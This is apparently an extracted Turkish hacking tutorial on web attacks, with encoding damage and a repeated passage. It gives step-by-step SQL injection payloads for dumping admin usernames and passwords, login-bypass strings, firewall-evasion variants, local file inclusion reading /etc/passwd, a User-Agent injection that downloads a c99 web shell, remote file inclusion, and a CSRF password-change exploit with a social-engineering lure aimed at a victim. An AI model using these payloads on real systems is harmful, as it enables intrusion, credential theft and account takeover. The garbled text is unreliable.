wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata

Microsoft JET Database Engine error rsquo80040e14rsquo

The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression

sayfaasp line 7

Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek

wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış

Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım

wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza

Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani

wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--

ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir

wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş

Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325

burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir

Şimdi user sutuumlnunu ccedilekelim

wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572

Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim

and substring((select user from users)11)=0x(tahmin edilen users)

and substring((select pass from users)21)=0x(tahmin edilen users)

Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz

Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir

d-) String SQL İnjection

Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani

wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor

wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 29: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur

User mahserat

Pass bugres

c-) Blind SQL İnjection

Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz

Gene bir hedef site duumlşuumlnuumln

wwwsayfacomdosyaphpid=2 olsun

Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz

wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor

and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz

Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz

wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım

